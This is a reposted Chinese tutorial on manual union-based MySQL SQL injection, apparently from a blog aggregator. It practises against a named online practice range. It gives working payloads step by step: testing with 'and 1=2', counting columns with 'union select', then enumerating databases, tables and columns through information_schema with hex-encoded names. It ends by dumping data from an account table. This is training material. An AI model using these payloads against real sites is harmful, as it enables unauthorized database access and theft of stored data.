zoukankan      html  css  js  c++  java
  • WEB 安全学习 一、mysql 注入漏洞

    转载: https://www.cnblogs.com/cui0x01/p/8620524.html

    一、Mysql数据库结构

        数据库A

            表名

              列名

                 数据

        数据库B

            表名

              列名

                 数据

    Mysql5.0以上自带数据库:information_schema

    information_schema:存储mysql下所有信息的数据库(数据库名,表名,列名)

    参数及解释

    database():数据库名

    user():数据库用户

    version():数据库版本

    @@version_compile_os:操作系统

    符号“.”代表下一级的意思

    information_schema.tables

    information_schema数据库下的tables表名,含义:存储所有数据库下的表名信息的表。

    information_schema.columns

    information_schema数据库下的columns表名,含义:存储所有数据库下的列名信息的表。

    Table_schema:数据库名

    Table_name:表名

    Column_name:列名

    下面使用手工  对   数字型sqli 注入漏洞进行注入

    感谢  米斯特安全 提供的在线靶场

    地址  :http://132.232.100.27:88/

    输入1  返回正常

    输入 1' 返回错误 

    输入 1+1 返回正常,存在数字型注入漏洞

    (也可以使用  1 and 1=1 返回正常)

    (1 and 1=2 来进行判断 如果 1=1 返回正常页面  1=2 返回错误页面存在注入漏洞)

    SELECT * FROM news WHERE id = 1 and 1=2

    SELECT * FROM news WHERE id = 1 and 1=2

     

    查询表中的字段数  (也可以使用order by 我这里使用的是union select)

    在input 中输入1 union select 1,2,3 返回正常页面

    在input 中输入1 union select 1,2,3,4 返回错误页面  

    说明 该表中有3个字段

    SELECT * FROM news WHERE id = 1 union select 1,2,3

     

    查询相关内容:
     
    可以在显位的位置插入的预设函数;
    User() 查看用户 
    database()  --查看数据库名称    
    Version() --查看数据库版本  
    @@datadir --数据库路径
    @@version_compile_os--操作系统版本  
    system_user() --系统用户名 
    current_user()--当前用户名  
    session_user()--连接数据库的用户名
     

    下面使用 database(),user(),version() 来替换其中的 1,2,3就可分别看见 数据库中的 数据库名  用户  版本

    查询数据库  -1 union select  1,database(),3 

    可以查出数据库的名称就:pentest

    group_concat语法: 
    group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator ‘分隔符’])

    查询所有的数据库

    -1 union select 1,group_concat(schema_name),3 from information.schemata

    注意 改变的时候 不要将 1  替换 ,好像没有查询 字段1,如果替换字段1  是没有反应的

    可以查出 数据库中 有  information_schema,mysql,pentest,performance_schema  等库

     查询出来数据库,那么下一步 我们就查询 pentest 数据库下的数据表

      查询  = 数据库名的时候  需要将数据库的名称为16进制编码,提供一个编码转换的地址(https://www.bejson.com/convert/ox2str/)

      pentest   =====>    0x70656e74657374

      在输入框中输入 -1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 0x70656e74657374

      

      查询结果如下

      

      pentest数据库中 有两个表分别为   account   和  news

      下面查询 account表中的列   

         account转换为 16进制

         account ------->>>>  0x6163636f756e74  

      下一步 查询 account表中的列名 

        在输入框中输入

          -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name =0x6163636f756e74

       

         查询结果如下 : 有三个 字段  Id  rest  own

      

    最后一步,查询表中的数据

        -1 union select 1,rest,own from account

        最终查询出来的结果为

        

      

      

  • 相关阅读:
    [ES6] 15. Generators -- 2
    [ES6] 14. Generator -- 1. yield & next()
    [ES6] 13. Using the ES6 spread operator ...
    [ES6] 12. Shorthand Properties in ES6
    [ES6] 11. String Templates
    计算机-DB:OLAP(联机分析处理)
    计算机-事务:OLTP(联机事务处理过程)
    软件-数据库-分布式:HBase
    架构-分布式:Hadoop
    计算机-数据仓库:DW/DWH
  • 原文地址:https://www.cnblogs.com/kangxinxin/p/9407523.html
Copyright © 2011-2022 走看看